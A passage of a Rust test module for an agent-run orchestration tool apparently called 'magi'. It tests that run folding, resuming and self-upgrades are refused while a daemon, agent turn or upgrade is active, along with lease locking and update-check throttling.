22046
22047        let res = fx.delete(&format!("/api/runs/{id}")).await;
22048        assert_eq!(res.status, 204, "{}", res.body);
22049        assert!(!runs.join(id).exists(), "the broken record is gone");
22050        assert!(!wt.exists(), "its worktree is gone too");
22051    }
22052
22053    #[tokio::test]
22054    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22055        let fx = Fixture::start().await;
22056        let runs = fx.runs();
22057        let id = "20260901-000000-live";
22058        write_run(&runs, id, RunStatus::Implementing);
22059
22060        let mut beat = crate::daemon::Status::new();
22061        beat.current = vec![crate::daemon::Current {
22062            worker: None,
22063            task: "20260901-000000-task".to_owned(),
22064            run: id.to_owned(),
22065        }];
22066        beat.updated_at = jiff::Timestamp::now();
22067        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22068            .expect("publish a heartbeat");
22069
22070        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22071        assert_eq!(res.status, 409);
22072        assert!(
22073            res.json()["error"]
22074                .as_str()
22075                .unwrap()
22076                .contains("live daemon"),
22077            "folding under a running agent would pull its worktree away"
22078        );
22079    }
22080
22081    #[tokio::test]
22082    async fn fold_merged_requires_a_pr_url() {
22083        let fx = Fixture::start().await;
22084        let runs = fx.runs();
22085        let id = "20260901-000000-nourl";
22086        write_run(&runs, id, RunStatus::Blocked);
22087
22088        let res = fx
22089            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22090            .await;
22091        assert_eq!(res.status, 400, "{}", res.body);
22092
22093        let blank = fx
22094            .post(
22095                &format!("/api/runs/{id}/fold-merged"),
22096                Some(r#"{"pr_url":"   "}"#),
22097            )
22098            .await;
22099        assert_eq!(blank.status, 400, "{}", blank.body);
22100    }
22101
22102    #[tokio::test]
22103    async fn fold_merged_is_404_for_an_unknown_run() {
22104        let fx = Fixture::start().await;
22105        let res = fx
22106            .post(
22107                "/api/runs/nosuchrun/fold-merged",
22108                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22109            )
22110            .await;
22111        assert_eq!(res.status, 404, "{}", res.body);
22112    }
22113
22114    #[tokio::test]
22115    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22116        let fx = Fixture::start().await;
22117        let runs = fx.runs();
22118        let id = "20260901-000000-livemerge";
22119        write_run(&runs, id, RunStatus::Blocked);
22120
22121        let mut beat = crate::daemon::Status::new();
22122        beat.current = vec![crate::daemon::Current {
22123            worker: None,
22124            task: "20260901-000000-task".to_owned(),
22125            run: id.to_owned(),
22126        }];
22127        beat.updated_at = jiff::Timestamp::now();
22128        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22129            .expect("publish a heartbeat");
22130
22131        let res = fx
22132            .post(
22133                &format!("/api/runs/{id}/fold-merged"),
22134                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22135            )
22136            .await;
22137        assert_eq!(res.status, 409, "{}", res.body);
22138        assert!(
22139            res.json()["error"]
22140                .as_str()
22141                .unwrap()
22142                .contains("live daemon"),
22143            "correcting a run's merge underneath a running agent would race \
22144             whatever it is doing to the same `status`/`merge` fields"
22145        );
22146    }
22147
22148    /// A pull request `gh` cannot even ask about (no such remote, no such
22149    /// repository) must never be recorded as a merge on a guess - the same
22150    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
22151    /// command line, reached here through the phone route instead.
22152    #[tokio::test]
22153    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22154        let fx = Fixture::start().await;
22155        let runs = fx.runs();
22156        let id = "20260901-000000-unconfirmed";
22157        write_run(&runs, id, RunStatus::Blocked);
22158
22159        let res = fx
22160            .post(
22161                &format!("/api/runs/{id}/fold-merged"),
22162                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22163            )
22164            .await;
22165        assert_eq!(res.status, 400, "{}", res.body);
22166        assert_eq!(
22167            read_run(&runs, id).unwrap().status,
22168            RunStatus::Blocked,
22169            "a pull request that could not be confirmed merged must leave \
22170             the run exactly where it was"
22171        );
22172    }
22173
22174    #[tokio::test]
22175    async fn terminal_runs_cannot_be_resumed() {
22176        let fx = Fixture::start().await;
22177        let runs = fx.runs();
22178
22179        for (status, word) in [
22180            (RunStatus::Merged, "merged"),
22181            (RunStatus::Ready, "ready"),
22182            (RunStatus::Failed, "failed"),
22183        ] {
22184            let id = format!("20260901-000000-{}", &word[..4]);
22185            write_run(&runs, &id, status);
22186            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22187            assert_eq!(res.status, 409, "{word} must not be resumable");
22188        }
22189    }
22190
22191    #[tokio::test]
22192    async fn resume_is_refused_while_the_loop_is_running() {
22193        let fx = Fixture::start().await;
22194        let runs = fx.runs();
22195        let stalled = "20260901-000000-stal";
22196        write_run(&runs, stalled, RunStatus::Stalled);
22197
22198        // The loop is busy with a *different* run, and that is still a
22199        // refusal: a manual resume must never race whatever the loop itself
22200        // is already driving, whether that is one run or several.
22201        let mut beat = crate::daemon::Status::new();
22202        beat.current = vec![crate::daemon::Current {
22203            worker: None,
22204            task: "20260901-000000-task".to_owned(),
22205            run: "20260901-000000-othr".to_owned(),
22206        }];
22207        beat.updated_at = jiff::Timestamp::now();
22208        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22209            .expect("publish a heartbeat");
22210
22211        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22212        assert_eq!(res.status, 409);
22213        let err = res.json()["error"].as_str().unwrap().to_owned();
22214        assert!(err.contains("othr"), "it names what the loop is on: {err}");
22215        assert!(err.contains("stop it first"), "{err}");
22216    }
22217
22218    #[test]
22219    fn a_run_cannot_be_resumed_twice_at_once() {
22220        let home = TempDir::new().expect("temp home");
22221        let ui = Ui::new(
22222            Queue::at(home.path().join("queue")),
22223            Questions::at(home.path().join("questions")),
22224            Talks::at(home.path().join("talks")),
22225            home.path().join("runs"),
22226            home.path().to_path_buf(),
22227            PathBuf::from("/repo"),
22228        )
22229        .with_worktrees_root(home.path().join("wt"));
22230        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22231        let again = ui.begin_resume("20260901-000000-once");
22232        assert!(again.is_err(), "a second tap must not start a second graph");
22233        drop(first);
22234        assert!(
22235            ui.begin_resume("20260901-000000-once").is_ok(),
22236            "and the claim is released when the attempt ends"
22237        );
22238    }
22239
22240    #[test]
22241    fn talk_thinking_tracks_only_its_held_turn_claim() {
22242        let home = TempDir::new().expect("temp home");
22243        let ui = Ui::new(
22244            Queue::at(home.path().join("queue")),
22245            Questions::at(home.path().join("questions")),
22246            Talks::at(home.path().join("talks")),
22247            home.path().join("runs"),
22248            home.path().to_path_buf(),
22249            PathBuf::from("/repo"),
22250        )
22251        .with_worktrees_root(home.path().join("wt"));
22252        let id = "20260901-000000-once";
22253
22254        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22255        let turn = ui.begin_talk_turn(id).expect("claim turn");
22256        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22257        assert!(
22258            !ui.is_thinking("20260901-000000-other"),
22259            "one talk's turn does not make another talk busy"
22260        );
22261        drop(turn);
22262        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22263    }
22264
22265    #[test]
22266    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22267        let home = TempDir::new().expect("temp home");
22268        let talks = Talks::at(home.path().join("talks"));
22269        let ui = Ui::new(
22270            Queue::at(home.path().join("queue")),
22271            Questions::at(home.path().join("questions")),
22272            talks.clone(),
22273            home.path().join("runs"),
22274            home.path().to_path_buf(),
22275            PathBuf::from("/repo"),
22276        )
22277        .with_worktrees_root(home.path().join("wt"));
22278        let id = "20260901-000000-cross";
22279
22280        let other = Talks::at(home.path().join("talks"))
22281            .claim_turn(id)
22282            .expect("claim")
22283            .expect("the other process wins");
22284        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22285        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22286        assert!(
22287            matches!(
22288                ui.begin_talk_turn_unless_pending(id).expect("start"),
22289                TalkTurnStart::Foreign
22290            ),
22291            "a foreign holder is refused, not queued behind"
22292        );
22293        assert!(
22294            !ui.talk_turns.lock().unwrap().live.contains(id),
22295            "a refused claim leaves no in-process entry behind"
22296        );
22297        drop(other);
22298        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22299        assert!(talks.turn_held(id), "the web turn holds the lease");
22300        drop(turn);
22301        assert!(
22302            !talks.turn_held(id),
22303            "dropping the guard releases the lease"
22304        );
22305    }
22306
22307    fn consult_question(ui: &Ui) -> Question {
22308        let mut q = Question::new(
22309            "20260901-000000-consult".to_owned(),
22310            "implement".to_owned(),
22311            "impl-A".to_owned(),
22312            "Which backend?".to_owned(),
22313            String::new(),
22314            vec!["SQLite".to_owned(), "Redis".to_owned()],
22315        );
22316        ui.questions.put(&mut q).expect("question");
22317        q
22318    }
22319
22320    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22321        (
22322            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22323            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22324        )
22325    }
22326
22327    #[tokio::test]
22328    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22329        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22330        let q = consult_question(&ui);
22331        let talk = ui.talks.get(&id).expect("talk");
22332        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22333        let before = consult_snapshot(&ui, &q, &id);
22334        let cli_talks = Talks::at(ui.home.join("talks"));
22335        assert_eq!(
22336            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22337                .await
22338                .expect("CLI starter"),
22339            crate::consult::Started::Busy
22340        );
22341        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22342        assert!(ui.is_thinking(&id));
22343        drop(guard);
22344        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22345    }
22346
22347    #[tokio::test]
22348    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22349        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22350        let q = consult_question(&ui);
22351        let talk = ui.talks.get(&id).expect("talk");
22352        let started = tmp.path().join("started");
22353        let release = tmp.path().join("release");
22354        let script = tmp.path().join("consult-agent.sh");
22355        std::fs::write(
22356            &script,
22357            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22358        )
22359        .expect("script");
22360        let mut cfg = stub_config();
22361        cfg.agents[0].id = "mock".to_owned();
22362        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22363        cfg.agents[0].env = std::collections::BTreeMap::from([
22364            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22365            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22366        ]);
22367        let questions = ui.questions.clone();
22368        let cli_talks = Talks::at(ui.home.join("talks"));
22369        let cli_q = q.clone();
22370        let turn = tokio::spawn(async move {
22371            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22372        });
22373        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22374            while !started.exists() {
22375                tokio::time::sleep(Duration::from_millis(10)).await;
22376            }
22377        })
22378        .await;
22379        // Always release and join the agent, even if readiness or the web
22380        // request fails, so a failed assertion cannot leave a turn behind.
22381        let refusal = if ready.is_ok() {
22382            let before = consult_snapshot(&ui, &q, &id);
22383            let result = talk_say(
22384                State(Arc::clone(&ui)),
22385                Path(id.clone()),
22386                Ok(Json(NewTalkTurn {
22387                    reply_to: None,
22388                    text: "another message".to_owned(),
22389                    attachments: Vec::new(),
22390                })),
22391            )
22392            .await;
22393            Some((result, before, consult_snapshot(&ui, &q, &id)))
22394        } else {
22395            None
22396        };
22397        std::fs::write(&release, "").expect("release agent");
22398        let done = turn.await.expect("join CLI turn");
22399        ready.expect("agent started before deadline");
22400        let (result, before, after) = refusal.expect("web request");
22401        let error = result.expect_err("web must refuse the CLI's turn");
22402        assert_eq!(error.status, StatusCode::CONFLICT);
22403        assert!(error.message.contains("a turn is already running"));
22404        assert_eq!(
22405            after, before,
22406            "refusal preserves question, draft and history"
22407        );
22408        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22409        let guard = ui
22410            .begin_talk_turn(&id)
22411            .expect("web claim")
22412            .expect("free again");
22413        drop(guard);
22414    }
22415
22416    #[test]
22417    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22418        let home = TempDir::new().expect("temp home");
22419        let talks = Talks::at(home.path().join("talks"));
22420        let ui = Ui::new(
22421            Queue::at(home.path().join("queue")),
22422            Questions::at(home.path().join("questions")),
22423            talks.clone(),
22424            home.path().join("runs"),
22425            home.path().to_path_buf(),
22426            PathBuf::from("/repo"),
22427        )
22428        .with_worktrees_root(home.path().join("wt"));
22429        let id = "20260901-000000-order";
22430        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22431        // Hold the slot mutex so the drop can finish the lease but not the slot.
22432        let slots = ui.talk_turns.lock().unwrap();
22433        let dropper = std::thread::spawn(move || drop(turn));
22434        let start = std::time::Instant::now();
22435        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22436            std::thread::sleep(Duration::from_millis(5));
22437        }
22438        assert!(!talks.turn_held(id), "the lease is released first");
22439        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22440        drop(slots);
22441        dropper.join().expect("join");
22442        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22443    }
22444
22445    #[tokio::test]
22446    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22447        let fx = Fixture::start().await;
22448        let mut beat = crate::daemon::Status::new();
22449        beat.worker_protocol = None;
22450        beat.pid = 4321;
22451        beat.updated_at = jiff::Timestamp::now();
22452        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22453            .expect("publish a heartbeat");
22454
22455        let res = fx.post("/api/upgrade", None).await;
22456        assert_eq!(res.status, 409);
22457    }
22458
22459    /// [`should_spawn_recheck`] must refuse for the same two reasons
22460    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22461    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22462    /// Purely a predicate over config and the environment - no network, no
22463    /// disk, no runtime - so unlike the fixture-based tests around it this
22464    /// one needs neither.
22465    #[test]
22466    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22467        assert!(!should_spawn_recheck(&crate::config::Update {
22468            mode: UpdateMode::Off,
22469            interval: None,
22470            auto_restart: false,
22471        }));
22472
22473        // SAFETY: single-threaded as far as this variable goes, the same
22474        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22475        unsafe {
22476            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22477        }
22478        let killed = should_spawn_recheck(&crate::config::Update {
22479            mode: UpdateMode::Notify,
22480            interval: None,
22481            auto_restart: false,
22482        });
22483        unsafe {
22484            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22485        }
22486        assert!(
22487            !killed,
22488            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22489             one-time startup check"
22490        );
22491
22492        assert!(should_spawn_recheck(&crate::config::Update {
22493            mode: UpdateMode::Notify,
22494            interval: None,
22495            auto_restart: false,
22496        }));
22497    }
22498
22499    /// [`recheck_poll_period`] must track a configured `[update] interval`
22500    /// shorter than its own default ceiling - a fixed sleep here would leave
22501    /// an operator's short interval waiting on the next wake-up instead of on
22502    /// `should_check`, which is the same bug this whole task exists to fix,
22503    /// just one level down.
22504    #[test]
22505    fn recheck_poll_period_tracks_a_short_configured_interval() {
22506        let short = crate::config::Update {
22507            mode: UpdateMode::Notify,
22508            interval: Some("1m".to_owned()),
22509            auto_restart: false,
22510        };
22511        let period = recheck_poll_period(&short);
22512        assert!(
22513            period <= Duration::from_secs(30),
22514            "a one-minute interval must wake the task far sooner than the \
22515             default ceiling, or the deck would not notice within the \
22516             interval the operator configured: got {period:?}"
22517        );
22518
22519        let default = crate::config::Update {
22520            mode: UpdateMode::Notify,
22521            interval: None,
22522            auto_restart: false,
22523        };
22524        assert_eq!(
22525            recheck_poll_period(&default),
22526            UPDATE_RECHECK_POLL_MAX,
22527            "the default day-long interval should poll at the (capped) \
22528             ceiling rather than needlessly often"
22529        );
22530    }
22531
22532    /// [`update_recheck_due`] must not repeat a check made moments ago, the
22533    /// same throttle `updater::Checker::should_check` already gives the
22534    /// CLI's notify mode. Built over an explicit state file via
22535    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
22536    /// write the operator's real `last_update_check.json` - and therefore
22537    /// cannot flake on whatever that file happens to say on the machine
22538    /// running the test.
22539    #[test]
22540    fn recheck_skips_the_network_before_the_interval_elapses() {
22541        let dir = TempDir::new().expect("temp dir");
22542        let path = dir.path().join("state.json");
22543        let state = kaishin::UpdateCheckState {
22544            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22545            last_known_latest: None,
22546            last_known_url: None,
22547        };
22548        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22549
22550        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22551        assert!(
22552            !update_recheck_due(&checker, None),
22553            "a check made moments ago must not be repeated before the \
22554             configured interval elapses"
22555        );
22556    }
22557
22558    /// An upgrade this deck already started must not be raced by a recheck
22559    /// that discovers a newer release mid-install - regardless of what
22560    /// `should_check` says, which is why the state file here is missing
22561    /// entirely: read alone, that alone would answer "never checked, go
22562    /// ahead".
22563    #[test]
22564    fn recheck_defers_to_an_upgrade_already_in_flight() {
22565        let dir = TempDir::new().expect("temp dir");
22566        let path = dir.path().join("state.json");
22567        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22568        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22569
22570        assert!(
22571            !update_recheck_due(&checker, Some(&progress)),
22572            "a recheck must not run while an upgrade this deck started is \
22573             still moving"
22574        );
22575    }
22576
22577    #[tokio::test]
22578    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22579        // The same env var the background check honours (`disabled_by_env`)
22580        // must also stop a button press before it ever calls
22581        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22582        // means "never contact GitHub from this process", and a tap on the
22583        // upgrade button must not override that any more than a broken
22584        // `magi.toml` may. Left unset, this fixture's default config would
22585        // otherwise reach a real, unauthenticated GitHub call.
22586        //
22587        // SAFETY: single-threaded as far as this variable goes - nothing else
22588        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22589        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22590        unsafe {
22591            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22592        }
22593        let fx = Fixture::start().await;
22594        let res = fx.post("/api/upgrade", None).await;
22595        unsafe {
22596            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22597        }
22598        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22599        let body = res.json();
22600        assert!(body["to"].is_null(), "there was no release to move to");
22601        assert!(body["parked"].is_null(), "and nothing was parked");
22602        assert!(
22603            body["detail"]
22604                .as_str()
22605                .unwrap()
22606                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22607            "{body:?}"
22608        );
22609    }
22610
22611    #[test]
22612    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22613        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22614        let mut cfg = Update::default();
22615        assert!(matches!(
22616            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22617            Skip(_)
22618        ));
22619        cfg.auto_restart = true;
22620        assert_eq!(
22621            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22622            Trigger
22623        );
22624        assert_eq!(
22625            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22626            Wait
22627        );
22628        for (disabled, moving, failed) in [
22629            (true, false, None),
22630            (false, true, None),
22631            (false, false, Some("v2")),
22632        ] {
22633            assert!(matches!(
22634                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22635                Skip(_)
22636            ));
22637        }
22638        assert_eq!(
22639            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22640            Trigger
22641        );
22642        cfg.mode = UpdateMode::Off;
22643        assert!(matches!(
22644            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22645            Skip(_)
22646        ));
22647    }
22648
22649    #[test]
22650    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22651        let home = TempDir::new().unwrap();
22652        let ui = idle_ui(&home);
22653        assert!(!ui.auto_upgrade_busy());
22654        let directory = home.path().join("workers/jobs/abcdef");
22655        std::fs::create_dir_all(&directory).unwrap();
22656        let mut job = crate::worker::Job {
22657            id: "abcdef".into(),
22658            sequence: 1,
22659            kind: "scheduler".into(),
22660            key: "scheduler".into(),
22661            payload: serde_json::json!({}),
22662            generation: "test".into(),
22663            version: None,
22664            status: crate::worker::Status::Running,
22665            result: None,
22666            pid: None,
22667            created_at: 0,
22668            finished_at: None,
22669        };
22670        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22671        let write = |job: &crate::worker::Job| {
22672            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22673        };
22674        write(&job);
22675        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22676        for kind in ["task", "chat"] {
22677            job.kind = kind.into();
22678            write(&job);
22679            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22680        }
22681        drop(lease);
22682        // Lease::drop explicitly unlocks even if a concurrent fork inherited
22683        // the descriptor. Check the real decision directly: a raw flock probe
22684        // here could itself be inherited and keep the worker looking busy.
22685        assert!(
22686            !ui.auto_upgrade_busy(),
22687            "completed execution permits updates"
22688        );
22689        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22690        assert!(
22691            ui.auto_upgrade_busy(),
22692            "unreadable worker state defers updates"
22693        );
22694    }
22695
22696    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22697        Box::pin(async { anyhow::bail!("test installer failed") })
22698    }
22699
22700    #[tokio::test]
22701    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22702        let home = TempDir::new().unwrap();
22703        std::fs::write(
22704            home.path().join("magi.toml"),
22705            "[update]\nauto_restart = true\n",
22706        )
22707        .unwrap();
22708        let mut ui = idle_ui(&home);
22709        ui.repo = home.path().to_path_buf();
22710        // Every successful trigger in this test uses this seam, never the installer.
22711        ui.upgrade_runner = fail_test_upgrade;
22712        let ui = Arc::new(ui);
22713        let latest = || {
22714            Some(kaishin::LatestRelease {
22715                tag_name: "v999.0.0".into(),
22716                html_url: String::new(),
22717            })
22718        };
22719        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22720        assert_eq!(
22721            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22722                .await
22723                .status(),
22724            StatusCode::NO_CONTENT
22725        );
22726        assert!(updater::read_progress(home.path()).is_none());
22727        ui.talk_turns.lock().unwrap().live.clear();
22728        let gate = ui.upgrade_gate.lock().await;
22729        assert_eq!(
22730            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22731                .await
22732                .status(),
22733            StatusCode::CONFLICT
22734        );
22735        drop(gate);
22736        assert_eq!(
22737            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22738                .await
22739                .status(),
22740            StatusCode::ACCEPTED
22741        );
22742        let progress = updater::read_progress(home.path()).unwrap();
22743        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22744        assert_eq!(progress.stage, updater::Stage::Downloading);
22745        assert!(progress.parked_run.is_none());
22746        assert!(ui.start_detached_loop().await.is_err());
22747        assert!(ui.start_loop(None).is_err());
22748        assert!(ui.begin_resume("late").is_err());
22749        tokio::time::timeout(Duration::from_secs(2), async {
22750            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22751                tokio::task::yield_now().await;
22752            }
22753        })
22754        .await
22755        .unwrap();
22756        let progress = updater::read_progress(home.path()).unwrap();
22757        assert_eq!(progress.stage, updater::Stage::Failed);
22758        assert_eq!(
22759            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22760                .await
22761                .status(),
22762            StatusCode::NO_CONTENT
22763        );
22764        // The manual shared path records the same progress and runs the same seam.
22765        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22766        assert_eq!(
22767            finish_upgrade_request(&ui, result).status(),
22768            StatusCode::ACCEPTED
22769        );
22770        assert_eq!(
22771            updater::read_progress(home.path()).unwrap().trigger,
22772            updater::UpgradeTrigger::Manual
22773        );
22774        tokio::time::timeout(Duration::from_secs(2), async {
22775            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22776                tokio::task::yield_now().await;
22777            }
22778        })
22779        .await
22780        .unwrap();
22781    }
22782
22783    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22784        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22785        p.stage = stage;
22786        p
22787    }
22788
22789    #[test]
22790    fn busy_stages_match_the_ui_set() {
22791        use crate::updater::Stage;
22792        assert!(APP_JS.contains(
22793            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22794        ));
22795        for s in [
22796            Stage::Downloading,
22797            Stage::Replaced,
22798            Stage::Parking,
22799            Stage::Restarting,
22800        ] {
22801            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22802        }
22803        for s in [Stage::Done, Stage::Failed] {
22804            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22805        }
22806        assert!(upgrade_in_motion(None).is_none());
22807    }
22808
22809    #[tokio::test]
22810    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22811        use crate::updater::Stage;
22812        for stage in [
22813            Stage::Downloading,
22814            Stage::Replaced,
22815            Stage::Parking,
22816            Stage::Restarting,
22817        ] {
22818            let fx = Fixture::start().await;
22819            let seeded = seeded_progress(stage);
22820            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22821            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22822                .expect("read");
22823
22824            let res = fx.post("/api/upgrade", None).await;
22825            assert_eq!(res.status, 409, "{stage:?}");
22826            let err = res.json()["error"].as_str().unwrap().to_owned();
22827            assert!(err.contains("already in progress"), "{err}");
22828            assert!(err.contains(stage.as_str()), "{err}");
22829
22830            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22831                .expect("read");
22832            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22833            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22834                .unwrap_or_default();
22835            assert!(!log.contains("signalling HANDOVER"), "{log}");
22836        }
22837    }
22838
22839    #[test]
22840    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22841        assert_eq!(
22842            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22843            Some(3723)
22844        );
22845        assert_eq!(
22846            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22847            Some(60)
22848        );
22849        assert_eq!(
22850            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22851            Some(0)
22852        );
22853        for message in [
22854            "permission denied",
22855            "GitHub API rate limit exceeded",
22856            "GitHub rate limit (resets in unknown)",
22857            "GitHub rate limit (resets in 18446744073709551615d)",
22858        ] {
22859            assert_eq!(upgrade_retry_after(message), None, "{message}");
22860        }
22861    }
22862
22863    #[tokio::test]
22864    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22865        let home = TempDir::new().unwrap();
22866        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22867        ui.start_loop(None).unwrap();
22868        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22869        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22870        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22871        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22872        let response = finish_upgrade_request(&ui, result);
22873        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22874        assert_eq!(response.headers()["retry-after"], "120");
22875        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22876            .await
22877            .unwrap();
22878        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22879        assert!(body["error"].as_str().unwrap().contains(reason));
22880        assert_eq!(body["retry_after_secs"], 120);
22881        assert!(body["retry_at"].as_u64().is_some());
22882        for _ in 0..2 {
22883            let view = health(State(ui.clone())).await.unwrap().0;
22884            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22885            assert_eq!(failure, body);
22886        }
22887        assert_eq!(
22888            std::fs::read(updater::progress_path(home.path())).unwrap(),
22889            before
22890        );
22891        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22892        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22893        // A conflicting request must not erase the actionable earlier failure.
22894        let gate = ui.upgrade_gate.lock().await;
22895        assert_eq!(
22896            upgrade_post(State(ui.clone())).await.status(),
22897            StatusCode::CONFLICT
22898        );
22899        drop(gate);
22900        assert!(
22901            health(State(ui.clone()))
22902                .await
22903                .unwrap()
22904                .0
